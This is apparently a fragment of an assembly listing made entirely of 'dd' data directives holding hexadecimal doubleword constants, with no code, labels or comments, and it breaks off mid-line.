dd 0E0BE8012h, 1DF1F8h, 0F5A93A2Ah, 8170BABBh, 805EEA26h dd 80EE0109h, 7FEF0EA6h, 0D4C60321h, 538BD6E4h, 3F1BA898h dd 0A65E4D03h, 0D86940E1h, 27884Ah, 3081C436h, 0A561F6BCh dd 0E160BE00h, 9CA4D1C5h, 7CD30FFAh, 3E00EFD6h, 0E8E251A9h dd 28004C7Dh, 50FDF518h, 0E2646941h, 63770060h, 0A0E1D10h dd 0F100A048h, 54A2EDC6h, 7FD12371h, 0E37A0439h, 0C79D0286h dd 0BADB40D2h, 0C0013EF3h, 0DABC47D2h, 0DDF48D0Bh, 0E92FA68h dd 5786A5B8h, 359DDEA0h, 81266BB1h, 2B005F58h, 0B63B1609h dd 9C77597h, 4B67F247h, 38ECE40Ah, 9CC86300h, 3C92F120h dd 0E8BDBC26h, 0FD5E607h, 0EFA8FC93h, 7DC9F60h, 463F009Ah dd 0EF51949Dh, 1E1320A5h, 0DEF0FB39h, 722600FDh, 8B9ACA19h dd 4107EEE3h, 3CA4656Bh, 649A050h, 0ED661384h, 0A11C0F82h dd 6005B3CBh, 0D3F7870Fh, 0F1C3477Fh, 2AA38B88h, 3B94C800h dd 6307E3BEh, 1AEB016Fh, 0D81291Ch, 4CD88056h, 67F14DBBh dd 0D2CB1DB7h, 0D8B380FFh, 0E7F4466Dh, 40A36916h, 4307FA00h dd 3D254432h, 48ACAEDEh, 0EFA40E82h, 0E382001Eh, 0D639C7E7h dd 1A114E00h, 5630619Dh, 0A65D0084h, 208C0CCh, 4D00D4C1h dd 779D8931h, 224864h, 0DD02F1Fh, 93053707h, 0CD2D5000h dd 5712B5B4h, 9510358h, 0DAF6E226h, 0F8ECBC89h, 0BF0074DCh dd 25660492h, 8668A0h, 8A720B8Dh, 0CFBAA72Eh, 50523Fh dd 0E42F628Eh, 0DF9DA2h, 0C764D773h, 0F33E8CF9h, 5B0040E0h dd 6A51A52Ch, 0E331D6h, 0B27A0161h, 74DBC1F2h, 3DD0E700h dd 8A6F47B4h, 643900AFh, 588283F5h, 0F23B2496h, 0D3C4093Bh dd 0A8F88017h, 38D3172h, 3CBB6AFEh, 59E02562h, 0C2002F97h dd 0D94DD055h, 25E5B53Eh, 0C400F9D5h, 7DA2C5F8h, 5144150Ah dd 360E8384h, 0B9DD4079h, 0ABFF7Ah, 0DA09D7F8h, 40F4E0CBh dd 0EE9938h, 608E197Ch, 0B69C51h, 4F6A1614h, 2F66E441h dd 0C2C997Fh, 0FD001821h, 0CDC84490h, 3EA50084h, 0AA6AB4B2h dd 1D1848F1h, 781C6F5Fh, 0C5900E80h, 9AEE0966h, 96EC9180h dd 0F4A01C86h, 6F00F323h, 19D74305h, 0E1265Ah, 283BF1BBh dd 0E6339C48h, 59008678h, 27BA7EAAh, 7413B9h, 0DE02AE23h dd 0B238307Dh, 4B045778h, 543FCD79h, 0D6691503h, 6164DBE8h dd 349A230Fh, 0AB842075h, 15634Eh, 0CBF6F60h, 27507ED9h dd 6EFF39h, 2B846548h, 709153h, 8E22D313h, 0AA2D411Eh dd 0A4E80601h, 87074D9Dh, 88EC8A61h, 3EEEEE62h, 0AE826575h dd 0D0A2DD48h, 7922C3E0h, 5BBB4003h, 81DCE651h, 0F5F4934Dh dd 957B8A3h, 0BEEB306Dh, 0F2C9F410h, 1E4B8F01h, 549667A0h dd 0FEBBE4h, 0EA10D8ACh, 82AB12AAh, 8E481900h, 0CB6B7E83h dd 0C0E10EE4h, 0B647D29Eh, 6E692086h, 0F603AB1Ch, 0DF5C93A9h dd 92D6005Eh, 8D3949D3h, 323A7F78h, 9D9900D7h, 0EC40B39Eh dd 362EC54h, 0A85EEE31h, 0EA88FE1Ah, 60001C37h, 9ACCB178h dd 0DEFCD3h, 0CE0F7CA0h, 1E5DCACFh, 38DD6D00h, 0C4836E27h dd 3D8D0F63h, 0E440887Ah, 0AC2567CAh, 0D480403h, 8816BFD3h dd 7028EE7h, 8B05ED8Ah, 0BB3D1BAh, 3C633098h, 85F61B00h dd 840488F9h, 21730086h, 0B58D196h, 0F2096C09h, 2082DC87h dd 0E11EBF24h, 0F3680021h, 3A511935h, 0BE3C44C0h, 60A61E5Dh dd 2C000B1Eh, 0F741217h, 1C2890D5h, 0F88D974Bh, 2B144F00h dd 0E21CD4BFh, 0EECD071Fh, 3E2151C0h, 90ED13FAh, 0ADCE0024h dd 0A03FB949h, 56006ABDh, 37950DCCh, 1C6951BEh, 82D454h dd 6A2AD502h, 8B796D73h, 1B1FD8E4h, 0A30115E3h, 8EE103DDh dd 0CC3CF4h, 5EF2F823h, 784A436Fh, 2200FC90h, 3DEB2C5Ch dd 8E93F9h, 0D0C6F09Dh, 3EBDF6E3h, 7A08E12Ch, 22146303h dd 18A0F049h, 0B280305Bh, 0E5215FB8h, 9A798B00h, 0BBD0227Ah dd 123A033Eh, 0E151EFBAh, 1E2D49D8h, 7C000679h, 68E044F2h dd 6C6682h, 0AAA03DCEh, 53CD1AC4h, 62E4F60Fh, 7069805Eh dd 13F51DDh, 2F328805h, 40C90C01h, 0A39AFEA1h, 0D268CF05h dd 2C903581h, 0FD434h, 850EF75Eh, 0E4DDEC0Ah, 50951100h dd 65172579h, 0A410DDE5h, 815A01FAh, 42132DB0h, 0D1E17594h dd 0DA60CE49h, 4803C416h, 207F816Fh, 0A432A04Bh, 9CB70053h dd 5034D455h, 131EB643h, 0DBC760E0h, 0E32029B5h, 3BD1904h dd 4B01CADAh, 0C8863AFh, 7909BEF5h, 0DA0EFh, 0DE17C41Eh dd 94C900ECh, 0A353B640h, 92002CAAh, 9DF46D5Fh, 209A98h dd 197DD816h, 9C84BC0Fh, 0CB943Eh, 0E611011Ah, 4B10EADFh dd 0B6D000C8h, 0D454DA3h, 862BD800h, 8427168Bh, 2CFC07F1h dd 31C8FD25h, 0E09C98DCh, 0CE0035C9h, 0AB6130BBh, 0B0AD579Eh dd 11021220h, 55DCC0B6h, 2890DFF2h, 3013F12h, 73951802h dd 0D60C878h, 188438CFh, 0FC8AB9h, 0E355BA28h, 4D52F129h dd 1C12B10Ch, 19DA07Fh, 28743C06h, 0E8EFAC04h, 810087A0h dd 21267BE3h, 138873FCh, 7E3446h, 2E206FCDh, 0CD0028D7h dd 0F3562636h, 3A0D38FBh, 7913D696h, 0F7A49006h, 560021E8h dd 6E988570h, 77FA60h, 350F33F5h, 0D7089B0Ah, 0D0C6063Eh dd 23001CA0h, 6C636979h, 0D5B4A4h, 4F363286h, 0CE7A31B0h dd 0C90093E6h, 0FB6C0273h, 4C127EA5h, 21FA001Dh, 0FDBD89ACh dd 91038C66h, 121584CEh, 0AB03C35Eh, 25C5D0C2h, 0AA1C008Ch dd 243E76Eh, 0FF008B56h, 0BA0E5F81h, 0F8183Fh, 7B5CE068h dd 0D7B7249Dh, 0E4D85E00h, 4235D2AFh, 96120013h, 0A59EBB02h dd 5809A8A3h, 803CC608h, 5ACC098Bh, 7148008Ch, 6B03B25Eh dd 5C005258h, 0AA94D376h, 3D83F2E3h, 6601A491h, 22E9A54Eh dd 0CEEDC80Eh, 0E6D3CA1Eh, 334D2A40h, 0B8B93218h, 0C230395h dd 45BFB7ACh, 8850C4A0h, 0D67138h, 357E659h, 5017AFB1h dd 78C803Ah, 449A0743h, 2BD7F0F8h, 0D48FEFFh, 0F9E0037Ch dd 0E88F0F59h, 649A5Fh, 45370A6Eh, 0C02501A7h, 81A15300h dd 394C6BFFh, 0F9B400E4h, 8723FD1Fh, 0AD009AC8h, 0B39CCA04h dd 0F8971058h, 2ACD036Ch, 0CB9FC44Fh, 2B7806B1h, 0FFC21000h dd 0C0CCE06Fh, 0F90147C1h, 0B907215Ah, 4C848E3Ah, 0E10F31C0h dd 0AB420EF3h, 7A8E1CA7h, 0A1EA73C0h, 4E005736h, 0C5AD75FFh dd 7F19308h, 0FE907611h, 0E93D10D2h, 0DC03C0E7h, 8A257ECDh dd 0A441AD89h, 637D0E58h, 0B89870h, 0DF7C87E4h, 0DAFD4DF7h dd 580072E2h, 8537637Eh, 0BCBB0Ch, 190ABAFAh, 0D92CB69Fh dd 0D1509D05h, 0E6095B77h, 87108F68h, 3C20B9A7h, 277D56h dd 0E861738Eh, 0C3241D25h, 0DF2B8800h, 8FF13657h, 6AC80097h dd 0C5E007C0h, 1D0C3E67h, 5450A64Eh, 473D0062h, 9A360E68h dd 0D36095A4h, 0F94097DEh, 0A29F26D9h, 0C91630h, 0F821412Ah dd 870042C1h, 44B9C3B1h dd 3C3384A5h, 4380A755h, 727E2E4Dh, 1317E49Dh, 0DC014497h dd 523D8510h, 0A8FD60h, 5F60C256h, 0E9FCCD5Dh, 4498082Eh dd 70876F00h, 56D52h, 0BFF3DCD5h, 82973E85h, 9D3ED879h dd 0A7FB009Ch, 0E7F26EBh, 3BB70046h, 2A8D4DC0h, 0C213BAF7h dd 0E400D2FCh, 0D3B517ADh, 0BD8E0084h, 0A0266614h, 5B0E485Ch dd 200B154Eh, 2FC4D3D2h, 0CE2C1C74h, 217F8066h, 5E01F952h dd 4F3D650Fh, 417400FEh, 6B5A81h, 2B6E9AC6h, 21DCB4B2h dd 84BA9CEAh, 4E80BF00h, 9993848Ah, 0C0CE4852h, 85050E00h dd 9A4C7932h, 7D41F705h, 0CCF7A995h, 942EAC00h, 0AD02B45Dh dd 96F38400h, 88319A56h, 8A9C00ABh, 776105FFh, 30002AE1h dd 98BE0FC8h, 715D91h, 82DB8E34h, 21CF2FFCh, 0F4314Ch dd 0F7866319h, 95C7454h, 0FEE2AB4Bh, 130E7400h, 210064C3h dd 5E5233D4h, 1D062B7Ch, 819A2324h, 0A46513E8h, 1D108026h dd 0D011F7D2h, 0F301FABh, 3BA640B8h, 0BCAE37Fh, 0F78E9000h dd 0D4185DF2h, 2EC10317h, 730D9E44h, 0B5D2BAC0h, 8600149Ah dd 40BE50DAh, 0BACE5B1h, 85725DC9h, 14DED700h, 34036959h dd 0CD01DC55h, 0C38DB178h, 12049F60h, 0BD3F111h, 3800BCEAh dd 6B7FB690h, 8E00E9EAh, 0DB9F95C5h, 1C6208E6h, 98A03B04h dd 0D9FE608Ah, 0D400DE72h, 0CF324C0h, 378A60Ah, 2B225C06h dd 30001BD5h, 0F636975Dh, 7C79161Eh, 6A52C0E6h, 0D45946DFh dd 0A1578500h, 90CCEFF0h, 0F61DF063h, 4514007Dh, 56F2FFCEh dd 9300D0B1h, 0EF9F9BCAh, 1654676Dh, 2CD6F9h, 55591896h dd 714CE9B8h, 1BB03B0h, 0E02E7213h, 0E28BDF97h, 4FB10052h dd 6364510Dh, 0AD3025E5h, 8D20CC1Ch, 487F00C1h, 0B3781209h dd 4700EA94h, 2C53DED4h, 0EA51A069h, 22F0F31h, 1D27AB1Bh dd 0F3655146h, 2B8E70E8h, 20F29200h, 63B00E38h, 9B6000D4h dd 518765AFh, 0BE67AD50h, 61C02B90h, 48F554FCh, 0C80B4DBFh dd 5CE0F2C0h, 73001145h, 0A0CCD544h, 1230FB3Eh, 30AAA797h dd 63D2A66Ch, 52E2FCA8h, 3CE00401h, 4B4D0A2Fh, 4F6AD8h dd 15D7255Ch, 58F178ECh, 0B3000C76h, 1E1C64D5h, 1FE2C6h dd 426547BDh, 26E04DB5h, 0FF95C100h, 9E705C5Eh, 1E142C0Ch dd 71C88h, 0A9E4D397h, 2B00B4CBh, 94F6E5D2h, 38AF91h, 96C299B0h dd 3357D661h, 0F85C7B00h, 0EDB1245Ah, 0C8F200EBh, 267F1892h dd 6D005175h, 801C27A6h, 5CAF2A0Ah, 69016F8Bh, 3CCE050Ch dd 9AF330CAh, 71F80097h, 230E2F6h, 3E177674h, 0BC449407h dd 510FA91Ch, 0E026B54Eh, 0FD860CAFh, 0F58E0706h, 0A0BA1D63h dd 46FB8D42h, 0E7A78A00h, 15E66C25h, 20010062h, 0DC359782h dd 61F29CEh, 0EC01EE2h, 72EF0AFFh, 0ABB00077h, 9A7F3845h dd 9300AAFBh, 69D466D5h, 4EA52552h, 0F68081EFh, 9FEC60C0h dd 41109800h, 420CE271h, 77A400D4h, 4A85E888h, 674C7E11h dd 70C90020h, 44C273DAh, 86FF3ABCh, 0B1BEE00h, 8F4BD19Eh dd 8BAC7F0Eh, 56B52064h, 7E753AE6h, 0E8DD4D70h, 0FDDF7400h dd 2340D56Ah, 20B17800h, 8EAC85Fh, 7705F873h, 0C9AE17F6h dd 648400BDh, 0A6202286h, 55E00107h, 75E07B0Bh, 1D044CE7h dd 80844AD9h, 0F4E15EB0h, 6CF00CD3h, 0D0F82D00h, 22F6F3A5h dd 30B08Dh, 0DB9DD425h, 9FB797E7h, 0ED8139h, 83BB7884h dd 4DF19AFh, 41141F42h, 0DA228061h, 1800F574h, 12265010h dd 1B3CCF7h, 8EFE31A5h, 0D40DED61h, 3803BE09h, 6FD1373Bh dd 70E5C0D4h, 9C910081h, 0A40DC71Ah, 57009413h, 0E2502DEFh dd 6A0CB6h, 0AB9B16F5h, 59BAAA3Fh, 8800567Fh, 4970AF1Ch dd 82471Fh, 8057938Bh, 0EFC8E7FAh, 0F91F6374h, 0B82E7117h dd 8142DD00h, 29364Ch, 0E5548C16h, 0DC4A0519h, 57714D12h dd 95473840h, 96DD22h, 194560BDh, 0B5DE6AB8h, 50BEB10Fh dd 8BA98084h, 7311C692h, 0FBC70095h, 4152C1B4h, 130068E8h dd 4BF70316h, 789751h, 28E6EDBAh, 0F966C9C1h, 0E872D400h dd 7FC75632h, 0B2C40785h, 80FD1722h, 42AEFE25h, 33DF3F00h dd 4AA20776h, 838D007Ah, 79405B61h, 640E74C5h, 0A0995A48h dd 0D0B5016Bh, 2E7D0682h, 98F57863h, 4BE18600h, 28311094h dd 976500A7h, 0AC7D2660h, 540B8084h, 5CFB413h, 2180F9B4h dd 77A70A8h, 615FBC2Ah, 0F1B56032h, 0AA1E071Ah, 0A880153Fh dd 94AF5AD7h, 9D7875h, 85CC01F5h, 518A6B5Eh, 57A9F1Dh dd 7DD273C1h, 0EACC1D12h, 55742840h, 48930BF0h, 6D80972Dh dd 67191BCh, 21C17F03h, 90531F84h, 597C1Dh, 0FDD570B3h dd 0A9935822h, 2180BB0Eh, 2EE2016h, 0ADF12Ah, 0C7C3CDE4h dd 985DB753h, 81A5A43Bh, 80333755h, 7CF9A0AEh, 0F5C6AD4h dd 2514C990h, 2A541FC2h, 0C45734C1h, 58005BB6h, 0BF386CDEh dd 0A70468h, 39DFA9B9h, 9B5EDB8Ah, 0CDF8F4F9h, 0A3B75800h dd 32244B09h, 0C669000Fh, 0FEEEA20Ah, 0F1ED3FEAh, 0CC610037h dd 0DB93005Fh, 60BCB5A5h, 0F913BE30h, 0E81FFF59h, 1C572A9Ch dd 9CF53447h, 30401080h, 0F06C0067h, 0E18A546h, 3B01C417h dd 92AE5F5Bh, 0B9E898D2h, 0B781132Fh, 6A0004Eh, 6093C15Dh dd 12AE7700h, 0F6B604FEh, 0A65B0EB7h, 0E040BEBDh, 3B4854C9h dd 3775C400h, 0FE8C667Ch, 0D2F0F64Ah, 4DC40190h, 60A7783Ch dd 6B00E950h, 81AFF6DCh, 0B8A264D8h, 587B0B7Ah, 0A00017C6h dd 62C092ADh, 0A3938A04h, 0B0ACD142h, 49CF0E7Dh, 2000E3D2h dd 3EEC4DE5h, 0D3397DFCh, 5E6501ABh, 0F30A7FE6h, 992C20h dd 8A01EDB8h, 2E3C23D9h, 56175D00h, 2D6D4A6Bh, 20551F1Eh dd 7A5C4070h, 0CDA73E26h, 0EB58C270h, 0EAF4781Ch, 4EB45E1Dh dd 0B3DC86C0h, 0E06B4B80h, 39E50008h, 7C13F3FCh, 8A00368Ch dd 0B30F9A24h, 0FC927A3h, 0A1F8C2F4h, 40357DA7h, 0C7BBB767h dd 6D721C00h, 21824AC3h, 265A004Ch, 0B8E59B62h, 2D038FC1h dd 0D07AC503h, 10CDC15Eh, 28C0BCE7h, 1DDFC780h, 57055D3Ah dd 0F9188234h, 0B60BE960h, 7799640Ah, 4C04FC33h, 0B0EC52EAh dd 0DA80FA38h, 4156CC75h, 409C6E46h, 52E92A00h, 72B286Fh dd 2FDA556Ch, 0CDE6C05Bh, 6CB66D54h, 834F7107h, 56572170h dd 50C4006Ah, 92DC9944h, 6B03253Ah, 0FFE4F148h, 0B8C08942h dd 0BA72C0E7h, 3C100312h, 0A166F56Dh, 6ADCBC98h, 710D3600h dd 0C45F8105h, 8E8307B6h, 809250C5h, 1F9368A7h, 0ACF7100h dd 4DC4489Bh, 0FE560026h, 32BB5289h, 17039DFBh, 0BDF7D3F1h dd 0D2400FB5h, 788060E4h, 0DAEF3ECCh, 80338F3Bh, 1FBBE934h dd 18EA9h, 0E409AD11h, 957D194Fh, 63008FECh, 0CC4AE692h dd 0C92C88h, 0DA57D5CEh, 0BC30C5A0h, 0E2729F00h, 518894B0h dd 6C2A00C7h, 8ECE25B8h, 0D0019919h, 86205435h, 0B3CC9A11h dd 29C10004h, 9D19935Ah, 0CA0EE5AAh, 0C3280B65h, 0D0D6473Ch dd 3F54E35h, 0DA827279h, 0F2C002C3h, 0EF0BDB8h, 7B688E00h dd 6BC9331Dh, 0DC74066Ch, 109D954Ch, 0B000B9FAh, 9ACB1C08h dd 5AB856h, 0AD8E39C5h, 5FBEEB38h, 7044938h, 3744776Ah dd 5EFC02F9h, 0F6840B8h, 2D290732h, 3196AF09h, 0DF5D5478h dd 0C1B8AB0h, 0AC078E5Fh, 4CA00676h, 2B3C46Ch, 14F57EACh dd 0A5E09243h, 2804E9A9h, 0AB0E65FDh, 0A30DEC81h, 5B7D64D0h dd 8908F040h, 7A682Dh, 0BF4F056Ch, 69643816h, 0F1D93380h dd 6EE5AD55h, 7A73C100h, 9E9D15B2h, 5797E0Ah, 7034966Bh dd 47238154h dd 0B28AFF2Eh, 76000CD6h, 0A6F9DB92h, 823201E6h, 50D806A7h dd 449984A8h, 909035DFh, 0EC8D72Dh, 7D960389h, 799C0B03h dd 0F44480FDh, 0B63E3CE2h, 534A82FEh, 60C691B8h, 0CB5CECh dd 32EBBC0Ah, 42BD1A34h, 0E400B09Ah, 0D1A9F097h, 0DE9C5Ah dd 0C0AFAB4Ch, 0B89E26EAh, 0B181181Eh, 3F765580h, 9D463Ch dd 809504E3h, 1C2592Ch, 47FF1D01h, 49235C37h, 9A99D0h dd 5491F984h, 94E451BFh, 5600F590h, 0E23B70D9h, 24A34BDAh dd 3078814h, 490CCE40h, 48ABB6E8h, 0C43D0100h, 0BC23E69Bh dd 0F07D7151h, 0FFA405F8h, 907C6950h, 2B86240h, 20234700h dd 2AF1DA7Bh, 0D7581E07h, 66600D6h, 2862BBE1h, 0C7043601h dd 0A4B87A09h, 1CB90CC8h, 7E30558Ah, 96FDDA87h, 43204CC3h dd 440E135Bh, 0C6323FFh, 0CD4BB070h, 8140065h, 6837A3F4h dd 0E2006EABh, 6A2DF56Fh, 1E62E0E3h, 402C08EFh, 0DEA3565Dh dd 6900D15Fh, 79254182h, 0B0409Ch, 0DFB57F7Bh, 0CD9E0753h dd 2B0020F2h, 837DB666h, 3F4CA5Ch, 5518A7F3h, 0E7F0A35Dh dd 560077D3h, 4DDE03BEh, 0C0A0B45Bh, 11391618h, 4026ABDCh dd 7D00CB1Bh, 83891C99h, 825F007Eh, 94A0AD8Ah, 6203D47Bh dd 0F543E84Eh, 8E70E857h, 6A4D3F04h, 9CD92E00h, 9680639Dh dd 0A94D61Eh, 39ACCE84h, 3F73F8E0h, 8858D0B7h, 7FE7507h dd 99DE0ABh, 0A10187F1h, 932D035Dh, 0FCECE88Bh, 23B81307h dd 3400EEF0h, 0F3523ED7h, 0BC6C00C9h, 80704659h, 0B80B09E9h dd 6051F019h, 9636E04h, 431DB152h, 0C0F7E0B3h, 0C888AFA4h dd 0A2A20FCh, 2C500881h, 1B00E78Bh, 2BCD2426h, 20FB274h dd 0E39E4F9Fh, 0C0FD5844h, 902FC670h, 3B9203E0h, 392E5968h dd 359DC8A0h, 0D3698D00h, 0F136CA96h, 2DAEEAB3h, 0C0608640h dd 0AB39B8C5h, 88E381DFh, 9705664h, 5C9D5FD8h, 9100074Ch dd 27E284A4h, 0C107500Ah, 10ACD896h, 0BFC6BF03h, 23C36B90h dd 0B3DA00BDh, 2817EDE8h, 0FD00A0F2h, 52514FECh, 0AE846Dh dd 88C69CA8h, 0D5C59143h, 799BF00h, 187AD309h, 0D76F1CE0h dd 46811E35h, 6661284Eh, 3A11503h, 99716BF5h, 0C0FA6901h dd 3C0755B4h, 0F7812F7Dh, 0FDB3822Ah, 0B218D056h, 0C04DC327h dd 3D0E980h, 0BC94FF38h, 0B7E0DF9Ch, 0D09690E7h, 2B778100h dd 0C3F92h, 0C9C24207h, 5AE9E0B0h, 0D9DF48h, 5274F163h dd 1F23260Bh, 424EE8F2h, 0BBB54A91h, 38790840h, 96EB1A0Fh dd 0D40F408Dh, 0E83B9F26h, 0B6430340h, 0C90A66ECh, 0CE959A88h dd 0EA82B700h, 12E9D16h, 0FA34014Dh, 0C891E8Ch, 13FE30A7h dd 0C482612Eh, 0ABBDFB80h, 18EDE421h, 0B89D2A50h, 3800BBDEh dd 1CC6C0CAh, 73DA5ED3h, 0B7AC07E5h, 0A1640C1Ah, 2062ED41h dd 9100D91Fh, 3C830785h, 0F3C27Ah, 42FBA155h, 0E6496BF0h dd 6D601F1Eh, 61B48F6Dh, 0B84ED1ACh, 467F60h, 20266B1Bh dd 80D08E54h, 100C0900h, 3DCCAEC1h, 0F601BFE9h, 0FD83BB7Eh dd 3062A4h, 5C1AC45Bh, 806856F7h, 0C00077FAh, 3E548DBh dd 0E336D7Ch, 7AC667E8h, 92CB8300h, 0ADF47944h, 7E5C5F04h dd 0A4E4CCA5h, 90B830E9h, 0E86A0210h, 42B4F90Fh, 34BB00CBh dd 5CDB3A11h, 0AF1D91A7h, 6518B8D9h, 0E24B2043h, 0B200767Dh dd 0CFA80939h, 7C7ED2h, 806578B0h, 95B9C98Ch, 0C13CB300h dd 0F0F4996Dh, 0DB541EC8h, 0A4984037h, 254C1CE0h, 7123A507h dd 52D02C57h, 1BDEA1h, 9F791D16h, 21CD6948h, 981C2417h dd 6FA3380Fh, 31A56040h, 90CCFF8h, 0ABCC4D76h, 1F00800h dd 7A009204h, 0E622FA44h, 13673065h, 0C88D5Fh, 506A136Dh dd 8300CE71h, 2A5EAA42h, 1FC6072h, 0C5BE9B9h, 0F462A9E6h dd 0DC03E782h, 0C22B7C6Bh, 70B5F2BDh, 0A31800ACh, 2CEA2009h dd 0ED038EA7h, 0C5B4C1ADh, 0F87BC3E1h, 2D9EEFh, 3557859Bh dd 8B2A75C3h, 26342802h, 0C0812B3Eh, 1E1AD5E8h, 0D8BAEAC8h dd 9941CECEh, 64F02400h, 0B1E8B70Bh, 0FBBB00AAh, 8820D5E4h dd 963D6E3Ch, 3CE3588Eh, 0D590FF1h, 795E0081h, 5ADF818h dd 86069ACCh, 8A08E06Ah, 1A4A0E78h, 0D7746C00h, 0B25397h dd 0A4A6D6C6h, 0E4F75F76h, 7DC9A901h, 0F83E95A3h, 0FBE7E0h dd 46CDD893h, 0A51F39F4h, 0B91F2190h, 0B3404407h, 0D0414E4Ch dd 0AA6F00AFh, 0BBE65013h, 8D73778Fh, 0F3E12800h, 0A54A5465h dd 0EFB71ABh, 68EA89FCh, 0DB001C6Fh, 40320BBAh, 51001D7Ch dd 0B235B66Eh, 0BC4EEF63h, 618D00D4h, 0F1CE775h, 0C7653F6h dd 471387B0h, 5C1F0182h, 0A8CDF817h, 48E6F2EBh, 30F3BC90h dd 0D3D9C8E2h, 4801CD2Dh, 8526D289h, 887030E0h, 56D0395Ah dd 55005848h, 4623BDDDh, 727408C5h, 805EBE00h, 0BA883BB6h dd 0A1A709Ah, 0AA86CD44h, 76EF0088h, 0B37C2FE3h, 77660200h dd 0EBFA53E2h, 5CE4005Dh, 0AA26BEC0h, 5E00A05Ah, 0DE7C77E0h dd 2AEC30h, 4D7A64D3h, 0E4FE1D0Ch, 0BD9CF11Dh, 5D0E0501h dd 0C1F83548h, 0B91A0021h, 4445B814h, 2D002F75h, 0B44154FDh dd 8E159Ch, 6D53622Eh, 0BB87455Ch, 1E00B7E8h, 0D713A00Dh dd 556895h, 0D35626C2h, 6B10E8E2h, 0F22AB600h, 0A09DAD20h dd 0ACC00109h, 0E7645D4Fh, 580CE469h, 31B61F01h, 68B84CFAh dd 0E46EF1E0h, 0CDF8004Dh, 2AC5A5AEh, 6450DDEEh, 99003AD0h dd 24354EC6h, 3D6D9C66h, 0A7806E05h, 4A1B61F3h, 0ECF503E8h dd 0D91F8C2Ah, 0C1C04DD5h, 0F6F0FE0Eh, 2EEA3CA3h, 0C5FB3CF3h dd 9A805538h, 7D5DE116h, 87C1992h, 323DCB01h, 0F589ACA8h dd 0BA0C8h, 16073412h, 4990C2DBh, 66BEA200h, 0AADA41C6h dd 0AEBC0025h, 974F0D77h, 0FF076879h, 81A68093h, 45498F30h dd 0FD8A001Ch, 2C0D99E6h, 143CADDAh, 8E9C8786h, 0B8B18458h dd 8CE482D2h, 0EE610411h, 0AE2407E9h, 0B1804B00h, 13CBB28h dd 0A86860FCh, 60BE5A88h, 0F600CD83h, 53EBD445h, 0EC8723h dd 2DD01E9Eh, 633D41AFh, 97BCCF00h, 36C67E72h, 0CB10059h dd 5C6A4F3Bh, 33283AFEh, 5803B2B7h, 1283BC3Fh, 46EEF974h dd 68A1ECh, 30B6F592h, 0D886B319h, 0B1496900h, 10E9EFE7h dd 1272D1h, 0F2BAE3A8h, 89EB2064h, 0E8A59A00h, 199047F8h dd 0B85AF09Ch, 1FA89816h, 3FF94F03h, 40F5859Ch, 0DEA776BDh dd 0E30113E0h, 39E94A33h, 0B6E0FE2Eh, 20E539B5h, 17AAD083h dd 0B4B82A3Ah, 0B938D21Bh, 4A3F830Ah, 0C81DDA98h, 3EBBAEh dd 9458EFC1h, 0FC9F976Fh, 1AC9E800h, 0EDC64F78h, 0A4C2006Eh dd 45260E22h, 7D00EF58h, 0C18765E7h, 0DED9E6h, 3CF09F92h dd 7079C954h, 3C850238h, 6D9A9846h, 0E9CDD2h, 7B4212C5h dd 9C20C3D5h, 0DAF22FF2h, 0C1E24A00h, 9DBE4488h, 5E9303D4h dd 0ABF9DD2Dh, 0C5D868D3h, 0E078F14h, 3A8AAE52h, 0FAD6A031h dd 64582080h, 409188DEh, 0D3D55901h, 0E15B3B9Ah, 0F2256DCh dd 33EE9952h, 0DC8B2700h, 2E002311h, 4DC0728Dh, 8E9E28h dd 620FF484h, 0B9018B35h, 8202C403h, 0DA397350h, 604BC0F2h dd 21C20E05h, 46608B3Bh, 0D3A1B0DAh, 2CF348h, 0B9D12288h dd 0E70EECh, 0DB6F57BFh, 0DEA546AAh, 2DB2BC00h, 29D479B3h dd 0C087428h, 0DC963BFAh, 65076AA4h, 2F0D314Eh, 0DBB257C0h dd 64D8001Ah, 7B22244Bh, 0B800C0C6h, 0BD12D08Dh, 7995333h dd 691F6B81h, 0C4F5632Ah, 4392CD88h, 51044201h, 7D6B6260h dd 3920B0E9h, 0A5701E5h, 0F0B17E18h, 29F1C0DDh, 0D0DA3F00h dd 94272BA7h, 26E260CFh dd 5A28E8DFh, 195A1FF4h, 4A0A1C0h, 0B5600FEDh, 4F05F443h dd 3E98C1B4h, 4C40EA0Ch, 1F002C50h, 558A0AA0h, 0A7CB9Bh dd 2516F170h, 0CC3FF60Dh, 0DD8DB300h, 9993838Ah, 1F84020Ah dd 3A6496D2h, 10801843h, 3F00C0FFh, 0C2A8D9E9h, 3EAE72F7h dd 899C5D02h, 2826CBBFh, 0BA7B1901h, 0CFBD3098h, 0A50023F4h dd 0EF19B7AAh, 0E051B5h, 3D725C73h, 0B637981h, 1B416100h dd 0CF135BA4h, 8B8F010Fh, 534EE056h, 3AA0E71Dh, 0B3004DD1h dd 5147CC38h, 1C44AC71h, 9DC97FE8h, 0F0F88374h, 0D9C83635h dd 7D00EA2Eh, 830CA550h, 1DC69A27h, 0C0E51076h, 1467F296h dd 8700462Eh, 7F5CCB8Fh, 70A71D4h, 176AF62Ch, 766FB0C4h dd 0D897B5BCh, 7863EC6h, 0AEF6C816h, 35F3600h, 1FB82511h dd 5D52140Ch, 0C611D4Ah, 6EC6C592h, 27F1EC03h, 80944C6Fh dd 0DEC42Bh, 98561FEEh, 542FB131h, 0A42C3E03h, 0A86C7FF7h dd 292053h, 0EF4B52FFh, 972D6BC8h, 8FBB4Ch, 2488789Bh dd 0AC21E6h, 0F9F48670h, 56AD1287h, 3EC4B00h, 0E289FEE0h dd 11BF643Fh, 0CCDE012Eh, 56E005BDh, 0F244038Ch, 4636B2C5h dd 0D61487B0h, 4117F998h, 0C5005390h, 1BAF9209h, 0AD7601ACh dd 7F01DE72h, 4350D155h, 0A9E01CF0h, 0E500E887h, 5FB4EA69h dd 0F80A852Fh, 28E5A0D1h, 45AE24B2h, 0BEA900B1h, 54FA238Bh dd 267FB14h, 80D83BA0h, 3FEB7684h, 6699E4h, 352146B9h dd 79049CCh, 278538h, 6CBFF854h, 50640AD5h, 0DA2082h, 5BDCE6F1h dd 5E482C40h, 1E0E42E8h, 1B15AF4Ch, 0A88EF0h, 0EB5CECA0h dd 43E3F820h, 65942D00h, 0CA71B1A4h, 242B0C3Ch, 0F658667Bh dd 0FC3A1300h, 0B13D4B54h, 0E93E001Fh, 9168FAC4h, 9A00DAE5h dd 0E229226Fh, 37C3Bh, 0C2B16096h, 6ECE935Ch, 6F4C8B4Ch dd 0C01D670h, 0AB9FE9B5h, 6FBEF8h, 11D064C8h, 55B17834h dd 36CB4800h, 8280FCB2h, 510E00E0h, 4CFD0504h, 0D300C947h dd 0E656063Ch, 423654h, 21196B53h, 0E9220148h, 